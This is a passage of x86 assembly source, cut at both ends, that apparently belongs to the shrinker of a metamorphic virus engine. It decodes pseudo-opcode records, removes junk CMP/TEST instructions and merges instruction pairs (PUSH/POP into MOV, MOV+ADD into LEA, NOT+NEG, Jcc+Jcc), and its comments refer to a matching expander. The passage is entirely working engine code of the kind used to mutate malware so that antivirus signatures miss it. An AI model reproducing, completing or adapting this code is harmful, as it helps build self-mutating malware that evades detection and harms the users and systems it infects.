and memory dword or eax, eax ; addition is != 0, end jnz @@Single_End @@Single_Next_LEA_SetADDRegReg: mov eax, [edi+2] ; Set ADD Reg,Reg mov ebx, [edi+1] and ebx, 0FFFFFF00h and eax, 0FFh add eax, ebx mov [edi+1], eax @@Single_Next_LEA_SetADDRegReg_2: mov eax, 01h ; Pseudo-opcode of ADD Reg,Reg jmp @@Single_SetInstruction @@Single_Next_LEA_SetADD: mov eax, [edi+3] mov [edi+7], eax ; Set memory dword addition as the xor eax, eax ; Imm to add in ADD Reg,Imm jmp @@Single_SetInstruction @@Single_Next_LEA_CheckMOVRegReg: mov eax, [edi+3] ; If the dword addition is 0, set or eax, eax ; MOV Reg,Reg2 jnz @@Single_End @@Single_Next_LEA_SetMOVRegReg: mov eax, 41h ; Pseudo-opcode of MOV Reg,Reg jmp @@Single_SetInstruction @@Single_Next26: cmp eax, 4Fh ; MOV Mem,Mem? jnz @@Single_Next27 mov esi, [edi+7] ; If src == dest, set NOP mov eax, [edi+1] ; This could be, for example, a cmp eax, [esi+1] ; compression of the sequence jnz @@Single_End ; PUSH [EAX+123] / POP [EAX+123] mov eax, [edi+3] cmp eax, [esi+3] jz @@Single_SetNOP @@Single_Next27: cmp eax, 38h ; CMP instruction? jb @@Single_Next28 cmp eax, 3Ch ja @@Single_Next28 @@Single_Next27_Common: mov edx, edi ; Let's get the next instruction. It the @@Single_Next27_GetNextInstr: ; next instruction is not a conditional add edx, 10h ; jump, this CMP is a garbage instruction, mov eax, [edx+0Bh] ; so we NOP it and eax, 0FFh or eax, eax jnz @@Single_SetNOP mov eax, [edx] and eax, 0FFh cmp eax, 0FFh jz @@Single_Next27_GetNextInstr cmp eax, 70h jb @@Single_SetNOP cmp eax, 7Fh ja @@Single_SetNOP jmp @@Single_End @@Single_Next28: cmp eax, 38h+80h ; 8 bits CMP instruction? jb @@Single_Next29 cmp eax, 3Ch+80h jbe @@Single_Next27_Common @@Single_Next29: cmp eax, 48h ; Do the same with TEST. A single test jb @@Single_Next30 ; (without conditional jump) is garbage cmp eax, 4Ch ; for sure. jbe @@Single_Next27_Common @@Single_Next30: cmp eax, 48h+80h ; 8 bits TEST instruction? jb @@Single_Next31 cmp eax, 4Ch+80h jbe @@Single_Next27_Common @@Single_Next31: @@Single_End: ;; Once here we check if it's a 8 bits instruction. If it's the case, ;; we save for later the register it's using (concretely, for register ;; translation). The last one stored here is the one we are using along ;; the engine. mov eax, [edi] ; Get the instruction and eax, 0FFh cmp eax, 80h+00 ; Check if it's a 8 bits opcode jb @@Check_Double cmp eax, 80h+4Ch ja @@Check_Double and eax, 7 or eax, eax ; If it is, check if it's MOV Reg,Imm, jz @@GetFrom_RegImm cmp eax, 1 ; MOV Reg,Reg, jz @@GetFrom_RegReg cmp eax, 2 ; MOV Reg,Mem or jz @@GetFrom_RegMem cmp eax, 3 ; MOV Mem,Reg, and then we get the jnz @@Check_Double ; register and save it, having then @@GetFrom_MemReg: ; the 8 bits register that we are using @@GetFrom_RegMem: ; along the code. This register must be @@GetFrom_RegReg: ; treated specially by the register mov eax, [edi+7] ; translator of the expander, because must and eax, 0FFh ; be one of the general use registers jmp @@GetFrom_OK ; (EAX, ECX, EDX and EBX) @@GetFrom_RegImm: mov eax, [edi+1] and eax, 0FFh @@GetFrom_OK: mov [ebp+Register8Bits], eax ; Save the register ;;; Pairs of instructions. We try to match known pairs to merge them to the ;;; simple one-instruction form. @@Check_Double: mov esi, edi call IncreaseEIP ; Increase pointer and get the second cmp edi, [ebp+AddressOfLastInstruction] ; instruction. jz @@EndNoCompressed mov eax, [edi+0Bh] and eax, 0FFh or eax, eax jnz @@EndNoCompressed ; We don't join instructions with ; labels on them. ;; Pair to check is at <[esi],[edi]> mov eax, [esi] and eax, 0FFh cmp eax, 68h ; Check pair with PUSH Imm jnz @@Double_Next00 mov eax, [edi] and eax, 0FFh cmp eax, 58h ; PUSH Imm/POP Reg? jz @@Double_Next_PutMOVRegImm cmp eax, 59h ; PUSH Imm/POP Mem? jnz @@EndNoCompressed @@Double_Next_PutMOVMemImm: mov eax, [edi+1] mov [esi+1], eax mov eax, [edi+3] mov [esi+3], eax mov eax, 44h ; Set MOV Mem,Imm jmp @@Double_Next_SetInstruction @@Double_Next_PutMOVRegImm: mov eax, [edi+1] mov [esi+1], eax mov eax, 40h ; Set MOV Reg,Imm @@Double_Next_SetInstruction: mov ebx, [esi] and ebx, 0FFFFFF00h and eax, 0FFh add eax, ebx mov [esi], eax @@Double_Next_SetNOP: mov eax, 0FFh ; Set NOP at second instruction mov [edi], al jmp @@EndCompressed @@Double_Next00: ;mov al, [esi] cmp eax, 50h ; Check pair beginning with PUSH Reg jnz @@Double_Next01 mov eax, [edi] and eax, 0FFh cmp eax, 58h ; PUSH Reg/POP Reg? jz @@Double_Next_PushPop cmp eax, 0FEh ; PUSH Reg/RET? jz @@Double_Next00_JMPReg cmp eax, 59h ; PUSH Reg/POP Mem? jnz @@Double_End mov eax, [esi+1] mov ebx, [esi+7] and ebx, 0FFFFFF00h and eax, 0FFh add eax, ebx mov [esi+7], eax mov eax, [edi+1] mov [esi+1], eax mov eax, [edi+3] mov [esi+3], eax mov eax, 43h ; If PUSH Reg/POP Mem, set MOV Mem,Reg jmp @@Double_Next_SetInstruction @@Double_Next_PushPop: mov eax, [edi+1] mov [esi+7], eax mov eax, 41h ; If PUSH Reg/POP Reg, set MOV Reg,Reg jmp @@Double_Next_SetInstruction @@Double_Next00_JMPReg: mov eax, 0EDh ; If PUSH Reg/RET, set JMP Reg jmp @@Double_Next_SetInstruction @@Double_Next01: ;mov al, [esi] cmp eax, 51h ; Check pair beginning with PUSH Mem jnz @@Double_Next02 mov eax, [edi] and eax, 0FFh cmp eax, 58h ; PUSH Mem/POP Reg? jz @@Double_Next01_PushPop cmp eax, 59h ; PUSH Mem/POP Mem? jnz @@Double_End @@Double_Next01_MOVMemMem: mov [esi+7], edi mov [edi+7], esi mov eax, 4Fh ; If PUSH Mem/POP Mem, MOV Mem,Mem jmp @@Double_Next_SetInstruction @@Double_Next01_PushPop: mov eax, [edi+1] mov ebx, [edi+1] and ebx, 0FFFFFF00h and eax, 0FFh add eax, ebx mov [esi+7], eax mov eax, 42h ; If PUSH Mem/POP Reg, set MOV Reg,Mem jmp @@Double_Next_SetInstruction @@Double_Next02: mov eax, [esi+1] cmp eax, [edi+1] jnz @@Double_Next_NoMem mov eax, [esi+3] ; If bytes from +1 to +6 coincides, cmp eax, [edi+3] ; it can be a memory operation with jnz @@Double_Next_NoMem ; the same memory variable. If not, ; just jump to check other things ; From now and while we are checking memory variable using instructions, ; we are sure that they use the same memory variable. mov eax, [esi] and eax, 0FFh cmp eax, 0F6h ; Check if it's APICALL_STORE jz @@Double_Next02_Check ; If it is, jump (it's just like ; a MOV Mem,Reg) cmp eax, 43h ; MOV Reg,Mem? jnz @@Double_Next03 @@Double_Next02_Check: mov eax, [edi] ; Get the second instruction and eax, 0FFh cmp eax, 51h ; PUSH Mem? jz @@Double_Next02_PushReg cmp eax, 4Ch ; OP Mem,Imm? jbe @@Double_Next_OPRegReg cmp eax, 0EAh ; CALL Mem? jz @@Double_Next02_CALLMem cmp eax, 0EBh ; JMP Mem? jnz @@Double_End @@Double_Next02_JMPMem: mov eax, 0EDh ; MOV Mem,Reg + JMP Mem = JMP Reg @@Double_Next02_XXXMem: push eax mov eax, [esi+7] mov ebx, [esi+1] and ebx, 0FFFFFF00h and eax, 0FFh add eax, ebx mov [esi+1], eax pop eax jmp @@Double_Next_SetInstruction @@Double_Next02_CALLMem: mov eax, 0ECh ; MOV Mem,Reg + CALL Mem = CALL Reg jmp @@Double_Next02_XXXMem @@Double_Next_OPRegReg: and eax, 7Fh ; Check operation cmp eax, 3Bh ; Check for CMP Mem,Reg jz @@Double_Next02_MergeCheck ; If it is, merge the check cmp eax, 4Bh ; Check for TEST Mem,Reg jz @@Double_Next02_MergeCheck ; If it is, merge cmp eax, 4Ah ; Check for TEST Reg,Mem (in fact, the jz @@Double_Next02_MergeCheck ; same x86 opcode) and eax, 7 cmp eax, 2 ; Check for OP Reg,Mem jnz @@Double_End ; If not, finish mov eax, [esi+7] ; If so, merge it: mov [esi+1], eax ; MOV Mem,Reg + OP Reg,Mem = OP Reg,Reg mov eax, [edi+7] ; We don't care about the two registers mov [esi+7], eax ; being equal, because that is going to ; be checked by the scanning of single ; instructions @@Double_Next02_SetOP: mov eax, [edi] ; Get the OP and eax, 0F8h ; Transform it to OP Reg,Reg add eax, 1 jmp @@Double_Next_SetInstruction @@Double_Next02_MergeCheck: mov eax, [edi+7] mov [esi+1], eax ; Merge the check (if CMP/TEST Reg,Mem) jmp @@Double_Next02_SetOP @@Double_Next02_PushReg: mov eax, [esi+7] mov [esi+1], eax mov eax, 50h ; MOV Mem,Reg/PUSH Mem = PUSH Reg jmp @@Double_Next_SetInstruction @@Double_Next03: ;mov al, [esi] cmp eax, 0C3h ; Check pair beginning with MOV Mem8,Reg8 jnz @@Double_Next04 mov eax, [edi] and eax, 0FFh cmp eax, 00h+80h ; Check if it's a normal operation jb @@Double_End ; (pseudo-opcodes 80-CC) cmp eax, 4Ch+80h jbe @@Double_Next_OPRegReg jmp @@Double_End @@Double_Next04: cmp eax, 44h ; Check if it begins with MOV Mem,Imm jnz @@Double_Next05 mov eax, [edi] and eax, 0FFh cmp eax, 51h ; PUSH Mem? jz @@Double_Next04_PushImm ; Set PUSH Imm cmp eax, 4Ch ja @@Double_Next05 and eax, 7 cmp eax, 2 ; OP Reg,Mem? jnz @@Double_Next05 ; If not, check next pair @@Double_Next_Merge_MOV_OP: mov eax, [edi+7] mov ebx, [esi+1] and ebx, 0FFFFFF00h and eax, 0FFh add eax, ebx mov [esi+1], eax mov eax, [edi] and eax, 0F8h ; MOV Mem,Imm + OP Reg,Mem = OP Reg,Imm jmp @@Double_Next_SetInstruction @@Double_Next04_PushImm: mov eax, 68h ; MOV Mem,Imm + PUSH Mem = PUSH Imm jmp @@Double_Next_SetInstruction @@Double_Next05: mov eax, [esi] and eax, 0FFh cmp eax, 44h+80h ; Same as above, but 8 bits operations jnz @@Double_Next06 mov eax, [edi] and eax, 0FFh cmp eax, 00h+80h jb @@Double_Next06 cmp eax, 4Ch+80h ja @@Double_Next06 and eax, 7 cmp eax, 2 jnz @@Double_Next06 jmp @@Double_Next_Merge_MOV_OP @@Double_Next06: mov eax, [esi] and eax, 0FFh cmp eax, 59h ; POP Mem? jnz @@Double_Next_NoMem mov eax, [edi] and eax, 0FFh cmp eax, 42h ; POP Mem + MOV Reg,Mem? jz @@Double_Next06_POPReg cmp eax, 4Fh ; POP Mem + MOV Mem,Mem? jz @@Double_Next06_POPMem cmp eax, 51h ; POP Mem + PUSH Mem? jz @@Double_Next_SetDoubleNOP cmp eax, 0EBh ; POP Mem + JMP Mem? jnz @@Double_Next_NoMem mov eax, 0FEh ; POP Mem + JMP Mem = RET jmp @@Double_Next_SetInstruction @@Double_Next06_POPReg: mov eax, [edi+7] mov [esi+1], eax mov eax, 58h ; POP Mem + MOV Reg,Mem = POP Reg jmp @@Double_Next_SetInstruction @@Double_Next06_POPMem: mov ebx, [edi+7] mov eax, [ebx+1] mov [esi+1], eax mov eax, [ebx+3] mov [esi+3], eax ; POP Mem + MOV Mem2,Mem = POP Mem2 jmp @@Double_Next_SetNOP @@Double_Next_SetDoubleNOP: mov eax, 0FFh ; POP Mem + PUSH Mem = NOP jmp @@Double_Next_SetInstruction @@Double_Next_NoMem: mov eax, [esi] and eax, 0FFh cmp eax, 40h ; MOV Reg,Imm? jnz @@Double_Next07 mov eax, [edi] and eax, 0FFh cmp eax, 42h+80h ; MOV Reg,Imm + MOV Reg8,Mem8? jz @@Double_Next06_MaybeMOVZX cmp eax, 1 ; MOV Reg,Imm + ADD Reg,Reg? jnz @@Double_Next07 mov eax, [esi+1] ; MOV Reg,Imm + ADD Reg,Reg2 = and eax, 0FFh ; = LEA Reg,[Reg2+Imm] mov ebx, [edi+7] and ebx, 0FFh cmp eax, ebx jnz @@Double_Next07 mov eax, [esi+7] mov [esi+3], eax mov eax, [esi+1] mov [esi+7], eax mov eax, [edi+1] and eax, 0FFh mov ebx, [esi+1] and ebx, 0FFFFFF00h add eax, ebx mov [esi+1], eax @@Double_Next06_SetLEA: mov eax, [esi+2] and eax, 0FFFFFF00h add eax, 8 mov [esi+2], eax mov eax, 0FCh jmp @@Double_Next_SetInstruction @@Double_Next06_MaybeMOVZX: mov eax, [esi+7] or eax, eax jnz @@Double_Next07 mov eax, [esi+1] and eax, 0FFh mov ebx, [edi+7] and ebx, 0FFh cmp eax, ebx jnz @@Double_Next07 mov ebx, [edi+1] and ebx, 0FFh cmp eax, ebx jz @@Double_Next07 mov ebx, [edi+2] and ebx, 0Fh cmp eax, ebx jz @@Double_Next07 mov [esi+7], eax mov eax, [edi+1] mov [esi+1], eax mov eax, [edi+3] mov [esi+3], eax mov eax, 0F8h ; MOV Reg,0+MOV Reg8,Mem8=MOVZX Reg,Mem8 jmp @@Double_Next_SetInstruction @@Double_Next07: mov eax, [esi] and eax, 0FFh cmp eax, 41h ; MOV Reg,Reg? jnz @@Double_Next08 mov eax, [edi] and eax, 0FFh or eax, eax ; MOV Reg,Reg + ADD Reg,Imm? jz @@Double_Next07_LEA01 cmp eax, 1 ; MOV Reg,Reg + ADD Reg,Reg? jnz @@Double_Next08 mov eax, [esi+7] and eax, 0FFh mov ebx, [edi+7] and ebx, 0FFh cmp eax, ebx jnz @@Double_Next08 mov eax, [edi+1] mov [esi+2], eax xor eax, eax mov [esi+3], eax ; MOV Reg,Reg2 + ADD Reg,Reg3 = mov eax, 0FCh ; = LEA Reg,[Reg2+Reg3] jmp @@Double_Next_SetInstruction @@Double_Next07_LEA01: mov eax, [esi+7] and eax, 0FFh mov ebx, [edi+1] and ebx, 0FFh cmp eax, ebx jnz @@Double_Next08 mov eax, [edi+7] ; MOV Reg,Reg2 + ADD Reg,Imm = mov [esi+3], eax ; = LEA Reg,[Reg2+Imm] jmp @@Double_Next06_SetLEA @@Double_Next08: mov eax, [esi] and eax, 0FFh or eax, eax ; ADD Reg,Imm? jnz @@Double_Next09 mov eax, [edi] and eax, 0FFh cmp eax, 01h ; ADD Reg,Imm + ADD Reg,Reg2? jnz @@Double_Next09 mov eax, [esi+1] and eax, 0FFh mov ebx, [edi+7] and ebx, 0FFh cmp eax, ebx jnz @@Double_Next09 mov eax, [edi+1] mov [esi+2], eax mov eax, [esi+7] mov [esi+3], eax mov eax, [esi+1] mov [esi+7], eax mov eax, 0FCh ; Merge to LEA jmp @@Double_Next_SetInstruction @@Double_Next09: mov eax, [esi] and eax, 0FFh cmp eax, 01h ; ADD Reg,Reg? jnz @@Double_Next10 mov eax, [edi] and eax, 0FFh or eax, eax ; ADD Reg,Imm? jnz @@Double_Next10 mov eax, [esi+7] cmp al, [edi+1] jnz @@Double_Next10 mov eax, [esi+1] mov [esi+2], al mov eax, [esi+7] mov [esi+1], al mov eax, [edi+7] mov [esi+3], eax mov eax, 0FCh ; Merge to LEA jmp @@Double_Next_SetInstruction @@Double_Next10: xor eax, eax mov al, [esi] cmp eax, 4Ch ; Generic OP? ja @@Double_Next11 mov al, [edi] cmp eax, 4Ch ; Generic OP + Generic OP? ja @@Double_Next11 mov eax, [esi] and eax, 7 cmp eax, 4 ; OP Mem,Imm + Generic OP? jz @@Double_Next10_OPMemImm or eax, eax ; OP Reg,Imm + Generic OP? jnz @@Double_Next11 @@Double_Next10_OPRegImm: mov eax, [edi] and eax, 7 or eax, eax ; OP Reg,Imm + OP Reg,Imm? jnz @@Double_Next11 mov eax, [esi+1] cmp al, [edi+1] ; 1st Reg == 2nd Reg? jnz @@Double_Next11 xor ebx, ebx @@Double_Next_CalculateOperation: push ebx mov ecx, [esi+7] mov edx, [edi+7] @@Double_Next_CalculateOperation_2: mov eax, [edi] and eax, 78h ; Get 2nd OP mov ebx, eax mov eax, [esi] and eax, 78h ; Get 1st OP call CalculateOperation ; Merge the operations pop ebx cmp eax, 0FEh ; Can be merged? jz @@Double_End ; If not, check triplet cmp eax, 0FFh ; OP Reg,Imm + MOV Reg,Imm? jz @@Double_Next_SetNOPAt1st ; Then, eliminate first mov [esi+7], ecx add eax, ebx ; Set merged operation jmp @@Double_Next_SetInstruction @@Double_Next_SetNOPAt1st: mov eax, 0FFh ; Set NOP at first instruction mov [esi], al jmp @@EndCompressed ; Return with success @@Double_Next10_OPMemImm: mov eax, [edi] and eax, 7 cmp eax, 4 ; OP Mem,Imm + OP Mem,Imm? jnz @@Double_Next11 mov eax, [esi+1] cmp eax, [edi+1] ; Are mem operands the same? jnz @@Double_Next11 mov eax, [esi+3] cmp eax, [edi+3] jnz @@Double_Next11 mov ebx, 4 ; If so, jump to try merging OPs jmp @@Double_Next_CalculateOperation @@Double_Next11: xor eax, eax mov al, [esi] ; Do the same as above, but with cmp eax, 00h+80h ; 8 bits operations jb @@Double_Next12 cmp eax, 4Ch+80h ja @@Double_Next12 mov al, [edi] cmp eax, 00h+80h jb @@Double_Next12 cmp eax, 4Ch+80h ja @@Double_Next12 mov eax, [esi] and eax, 7 cmp eax, 4 jz @@Double_Next11_OPMemImm_8b or eax, eax jnz @@Double_Next12 @@Double_Next11_OPRegImm_8b: mov eax, [edi] and eax, 7 or eax, eax jnz @@Double_Next12 mov ebx, 80h @@Double_Next11_CalculateOperation_8b: push ebx xor eax, eax mov al, [esi+7] mov ecx, eax mov al, [edi+7] mov edx, eax jmp @@Double_Next_CalculateOperation_2 @@Double_Next11_OPMemImm_8b: mov eax, [edi] and eax, 7 cmp eax, 4 jnz @@Double_Next12 mov eax, [esi+1] cmp eax, [edi+1] jnz @@Double_Next12 mov eax, [esi+3] cmp eax, [edi+3] jnz @@Double_Next12 mov ebx, 84h jmp @@Double_Next11_CalculateOperation_8b @@Double_Next12: xor eax, eax mov al, [esi] cmp eax, 0FCh ; LEA? jnz @@Double_Next13 mov al, [edi] cmp eax, 01h ; LEA + ADD Reg,Reg? jz @@Double_Next12_MergeLEAADDReg or eax, eax ; LEA + ADD Reg,Imm? jnz @@Double_Next13 @@Double_Next12_MergeLEAADD: mov eax, [esi+7] ; Check if destiny in LEA is the same cmp al, [edi+1] ; as destiny in ADD jnz @@Double_Next13 mov eax, [edi+7] ; If so, add the Imm of the ADD to the add [esi+3], eax ; dword addition in the LEA and set jmp @@Double_Next_SetNOP ; NOP at first instruction @@Double_Next12_MergeLEAADDReg: mov eax, [esi+7] cmp al, [edi+7] ; Check if destinies are the same jnz @@Double_Next13 mov eax, 8 cmp al, [esi+1] ; Look for a free space to insert the jz @@Double_Next12_SetFirstReg ; register addition in the cmp al, [esi+2] ; LEA jz @@Double_Next12_SetSecondReg mov eax, [edi+1] ; If the register is already inserted, cmp al, [esi+2] ; set a *2 in the multiplicator jz @@Double_Next12_AddScalar cmp al, [esi+1] jnz @@Double_Next13 mov eax, [esi+2] cmp al, 40h ; If multiplicator is already *2 or jae @@Double_Next13 ; greater, don't shrink push eax ; Exchange registers, to set the one mov eax, [esi+1] ; repeated in the second slot of the add eax, 40h ; indexes. mov [esi+2], al ; Set *2 pop eax mov [esi+1], al jmp @@Double_Next_SetNOP ; Eliminate first instruction @@Double_Next12_AddScalar: mov eax, [esi+2] ; Set *2 to the second index add eax, 40h mov [esi+2], al jmp @@Double_Next_SetNOP @@Double_Next12_SetFirstReg: mov eax, [edi+1] ; Set a new index register mov [esi+1], al jmp @@Double_Next_SetNOP @@Double_Next12_SetSecondReg: mov eax, [edi+1] ; Set a new second index register mov [esi+2], al jmp @@Double_Next_SetNOP @@Double_Next13: xor eax, eax mov al, [esi] cmp eax, 4Fh ; MOV Mem,Mem? jnz @@Double_Next14 mov al, [edi] cmp eax, 4Fh ; MOV Mem,Mem2 + MOV Mem2,Mem3? jz @@Double_Next13_MergeMOVs ; Then, merge them cmp eax, 4Ch ja @@Double_Next13_NotOPRegMem @@Double_Next13_OPRegMem_2: and eax, 7 cmp eax, 2 ; MOV Mem,Mem2 + OP Reg,Mem? jz @@Double_Next13_OPRegMem mov al, [edi] jmp @@Double_Next13_NotOPRegMem2 @@Double_Next13_NotOPRegMem: cmp eax, 00h+80h ; Same with 8 bits? jb @@Double_Next13_NotOPRegMem2 cmp eax, 4Ch+80h jbe @@Double_Next13_OPRegMem_2 @@Double_Next13_NotOPRegMem2: cmp eax, 43h ; Merge MOVs jz @@Double_Next13_MOVMemReg cmp eax, 0F6h ; APICALL_STORE = MOV Mem,EAX jz @@Double_Next13_MOVMemReg cmp eax, 44h ; MOV Mem,Mem2 + MOV Mem2,Imm? jz @@Double_Next13_MOVMemImm cmp eax, 0EAh ; MOV Mem,Mem2 + CALL Mem? jz @@Double_Next13_CALLMem cmp eax, 0EBh ; MOV Mem,Mem2 + JMP Mem? jnz @@Double_Next14 @@Double_Next13_JMPMem: @@Double_Next13_CALLMem: @@Double_Next13_OPRegMem: mov ebx, [esi+7] ; Merge Mem operands mov eax, [ebx+1] cmp eax, [edi+1] jnz @@Double_Next14 mov eax, [ebx+3] cmp eax, [edi+3] jnz @@Double_Next14 mov eax, [esi+1] mov [edi+1], eax mov eax, [esi+3] mov [edi+3], eax jmp @@Double_Next_SetNOPAt1st @@Double_Next13_MergeMOVs: mov ebx, [esi+7] ; MOV Mem,Mem2 + MOV Mem2,Mem3 = mov eax, [ebx+1] ; = MOV Mem,Mem3 cmp eax, [edi+1] jnz @@Double_Next14 mov eax, [ebx+3] cmp eax, [edi+3] jnz @@Double_Next14 mov eax, [edi+7] mov [esi+7], eax mov [eax+7], esi jmp @@Double_Next_SetNOP @@Double_Next13_MOVMemReg: @@Double_Next13_MOVMemImm: mov ebx, [esi+7] ; MOV Mem,Mem2 + MOV Mem2,Reg/Imm = mov eax, [ebx+1] ; = MOV Mem,Reg/Imm cmp eax, [edi+1] jnz @@Double_Next14 mov eax, [ebx+3] cmp eax, [edi+3] jz @@Double_Next_SetNOPAt1st @@Double_Next14: xor eax, eax mov al, [esi] cmp eax, 70h ; Jcc? jb @@Double_Next15 cmp eax, 7Fh ja @@Double_Next15 mov al, [edi] cmp eax, 0E9h ; Jcc + JMP? jz @@Double_Next14_CheckJMP cmp eax, 70h jb @@Double_Next15 cmp eax, 7Fh ; Jcc + Jcc? ja @@Double_Next15 mov eax, [edi+1] ; Check if they point to the next cmp eax, [esi+1] ; label jnz @@Double_Next15 mov eax, [esi] and eax, 0Fh mov ebx, eax mov eax, [edi] and eax, 0Fh ; EAX = Flag test 1 ; EBX = Flag test 2 call GetRealCheck ; Merge the flag checking cmp eax, 0FFh jz @@Double_End add eax, 70h ; Add 70 to the result cmp eax, 0E9h ; If Jcc + Jcc == JMP, set it, and jump jz @@Double_Next32_JMP ; to eliminate the code until the ; next label jmp @@Double_Next_SetInstruction @@Double_Next14_CheckJMP: mov eax, [edi+1] ; Jcc @123 + JMP @123 = JMP @123 cmp eax, [esi+1] jz @@Double_Next_SetNOPAt1st jmp @@Double_End @@Double_Next15: ; mov edx, 40h ; call Check_OP_MOV ; cmp eax, 0FFh ; This makes many problems! ; jz @@Double_Next_SetNOPAt1st ; ; Disabled. @@Double_Next16: ; mov edx, 0C0h ; call Check_OP_MOV ; cmp eax, 0FFh ; jz @@Double_Next_SetNOPAt1st @@Double_Next17: xor eax, eax mov al, [esi] cmp eax, 0E0h ; NOT Reg? jnz @@Double_Next18 mov ebx, 0E4h ; NOT Reg + NEG Reg? xor ecx, ecx mov edx, 1 ; Set ADD Reg,1 @@Double_Next_Check_NOT_OP: xor eax, eax mov al, [edi] cmp eax, ebx ; 0E4h jz @@Double_Next17_ADDReg ; Check NOT/NEG + ADD,1/-1 cmp eax, ecx ; 00h jnz @@Double_End @@Double_Next17_NEGReg: mov eax, [esi+1] cmp al, [edi+1] jnz @@Double_End @@Double_Next17_NEGReg_2: test ebx, 2 jz @@Double_Next17_Get32 xor eax, eax mov al, [edi+7] cmp eax, 80h jb @@Double_Next17_Cont00 add eax, 0FFFFFF00h jmp @@Double_Next17_Cont00 @@Double_Next17_Get32: mov eax, [edi+7] @@Double_Next17_Cont00: cmp eax, edx jnz @@Double_End mov eax, ebx ; NEG jmp @@Double_Next_SetInstruction @@Double_Next17_ADDReg: mov eax, [esi+1] cmp al, [edi+1] jnz @@Double_End @@Double_Next17_ADDReg_2: mov eax, edx mov [esi+7], eax mov eax, ecx jmp @@Double_Next_SetInstruction @@Double_Next18: ;mov al, [esi] cmp eax, 0E2h ; Check NOT Reg8 + NEG Reg8/ADD Reg8,1 jnz @@Double_Next19 mov ebx, 0E6h mov ecx, 80h mov edx, 1 ; If so, set ADD Reg8,1/NEG Reg8 jmp @@Double_Next_Check_NOT_OP @@Double_Next19: ;mov al, [esi] cmp eax, 0E4h ; NEG Reg + NOT Reg/ADD Reg,-1? jnz @@Double_Next20 mov ebx, 0E0h xor ecx, ecx mov edx, -1 ; If so, set ADD Reg,-1/NOT Reg jmp @@Double_Next_Check_NOT_OP @@Double_Next20: ;mov al, [esi] cmp eax, 0E6h ; NEG Reg8 + NOT Reg8/ADD Reg8,-1? jnz @@Double_Next21 mov ebx, 0E2h mov ecx, 80h mov edx, -1 ; Set ADD Reg8,-1/NOT Reg8 jmp @@Double_Next_Check_NOT_OP @@Double_Next21: cmp eax, 0E1h ; NOT Mem + NEG Mem/ADD Mem,1? jnz @@Double_Next22 mov ebx, 0E5h mov ecx, 4 mov edx, 1 ; Then, set ADD Mem,1/NEG Mem @@Double_Next_Check_NOT_OP_Mem: xor eax, eax mov al, [edi] cmp eax, ebx jz @@Double_Next21_ADDMem cmp eax, ecx jnz @@Double_End @@Double_Next21_NEGMem: mov eax, [esi+1] ; Check if operands are the same cmp eax, [edi+1] jnz @@Double_End mov eax, [esi+3] cmp eax, [edi+3] jnz @@Double_End xor eax, eax jmp @@Double_Next17_NEGReg_2 @@Double_Next21_ADDMem: mov eax, [esi+1] ; Check NOT/NEG + ADD,1/-1 cmp eax, [edi+1] jnz @@Double_End mov eax, [esi+3] cmp eax, [edi+3] jnz @@Double_End xor eax, eax jmp @@Double_Next17_ADDReg_2 @@Double_Next22: cmp eax, 0E3h ; NOT Mem8 + NEG Mem8/ADD Mem,1? jnz @@Double_Next23 mov ebx, 0E7h mov ecx, 84h mov edx, 1 ; Set ADD Mem8,1/NEG Mem8 jmp @@Double_Next_Check_NOT_OP_Mem @@Double_Next23: cmp eax, 0E5h ; NEG Mem + NOT Mem/ADD Mem,-1? jnz @@Double_Next24 mov ebx, 0E1h mov ecx, 4 mov edx, -1 ; Set ADD Mem,-1/NOT Mem jmp @@Double_Next_Check_NOT_OP_Mem @@Double_Next24: cmp eax, 0E7h ; NEG Mem8 + NOT Mem8/ADD Mem8,-1? jnz @@Double_Next25 mov ebx, 0E3h mov ecx, 84h mov edx, -1 ; Set ADD Mem8,-1/NOT Mem8 jmp @@Double_Next_Check_NOT_OP_Mem ; Next four conditions are also disabled. They would work theorically, but they ; don't in practice :/ @@Double_Next25: ; cmp eax, 38h ; jb @@Double_Next26 ; cmp eax, 3Ch ; ja @@Double_Next26 ; @@Double_Next_CheckComparision: ; mov al, [edi] ; cmp eax, 70h ; jb @@Double_Next_NoComparision ; cmp eax, 7Fh ; jbe @@Double_End ; @@Double_Next_NoComparision: ; jmp @@Double_Next_SetNOPAt1st @@Double_Next26: ; ;mov al, [esi] ; cmp eax, 38h+80h ; jb @@Double_Next27 ; cmp eax, 3Ch+80h ; jbe @@Double_Next_CheckComparision @@Double_Next27: ; ;mov al, [esi] ; cmp eax, 48h ; jb @@Double_Next28 ; cmp eax, 4Ch ; jbe @@Double_Next_CheckComparision @@Double_Next28: ; ;mov al, [esi] ; cmp eax, 48h+80h ; jb @@Double_Next29 ; cmp eax, 4Ch+80h ; jbe @@Double_Next_CheckComparision @@Double_Next29: cmp eax, 0EAh ; CALL Mem + MOV Mem,EAX? jnz @@Double_Next30 @@Double_Next29_CheckAPICALL_STORE: mov al, [edi] cmp eax, 43h jnz @@Double_End mov al, [edi+7] ; Check EAX or eax, eax jnz @@Double_End mov eax, 0F6h mov [edi], al ; Set APICALL_STORE xor eax, eax mov [edi+7], eax ; If we put 0 here we can treat this as jmp @@EndCompressed ; an special opcode 43h (MOV Mem,Reg) @@Double_Next30: cmp eax, 0ECh ; Check CALL Reg + MOV Mem,EAX? jz @@Double_Next29_CheckAPICALL_STORE ; Check APICALL_STORE @@Double_Next31: cmp eax, 42h ; MOV Reg,Mem? jnz @@Double_Next32 mov eax, [edi] and eax, 0FFh cmp eax, 20h ; MOV Reg,Mem + AND Reg,0FF? jz @@Double_Next31_MaybeMOVZX ; Set MOVZX mov al, [esi+7] cmp eax, 2 ; EAX,ECX,EDX? (it only uses these three) ja @@Double_Next32 cmp al, [edi+1] jnz @@Double_Next32 mov al, [edi] cmp eax, 0ECh ; CALL Reg? jnz @@Double_Next32 sub eax, 2 ; MOV Reg,Mem + CALL Reg = CALL Mem jmp @@Double_Next_SetInstruction @@Double_Next31_MaybeMOVZX: mov eax, [edi+7] ; Check MOVZX. We check if the destiny cmp eax, 0FFh ; registers are the same one jnz @@Double_Next32 mov eax, [esi+7] and eax, 0FFh mov ebx, [edi+1] and ebx, 0FFh cmp eax, ebx jnz @@Double_Next32 mov eax, [esi+1] and eax, 0FFh ; AND Reg,0FF? cmp eax, ebx jz @@Double_Next32 mov eax, [esi+2] and eax, 0Fh ; Set the register cmp eax, ebx jz @@Double_Next32 mov eax, 0F8h ; Set MOVZX Reg,byte ptr Mem jmp @@Double_Next_SetInstruction @@Double_Next32: xor eax, eax mov al, [esi] cmp eax, 39h ; CMP Reg,Reg? jnz @@Double_Next33 @@Double_Next32_Common: mov al, [edi] cmp eax, 70h ; CMP 